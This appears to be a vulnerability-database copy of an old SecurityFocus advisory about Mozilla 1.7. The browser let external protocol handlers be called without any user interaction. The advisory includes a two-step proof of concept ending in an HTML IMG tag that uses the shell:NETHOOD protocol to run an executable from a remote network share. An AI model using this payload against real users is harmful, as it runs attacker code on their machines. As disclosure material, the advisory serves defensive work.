Mozilla 1.7 External Protocol Handler Weakness

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Mozilla 1.7 External Protocol Handler Weakness. Weakness allows external protocol calls without user interaction, exposing users to underlying OS and default handler vulnerabilities. Exploits in invoked applications and host OS protocol handling


                                                source: http://www.securityfocus.com/bid/10681/info

Mozilla Internet Browser is reported prone to a weakness that may permit an external protocol to be called without any user interaction. This may expose Mozilla users to vulnerabilities that exist in the underlying operating system or in the software that is the default handler for a registered protocol.

Vulnerabilities in the applications that are invoked by a protocol, and vulnerabilities in the way a called protocol is handled by the host operating system may be exploited using this weakness in the Mozilla browser.

1. VICTIM VISITS A SHARED FOLDER NAMED &#34;shared&#34; ON A SERVER NAMED &#34;X-6487ohu4s6x0p&#34;.
THIS WILL CREATE A SHORTCUT NAMED &#34;shared on X-6487ohu4s6x0p&#34; IN THE FOLDER AT &#34;shell:NETHOOD&#34;
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED &#34;fileid.exe&#34; IN THE
&#34;shared&#34; FOLDER:
&#60;IMG SRC=&#34;shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe&#34;&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1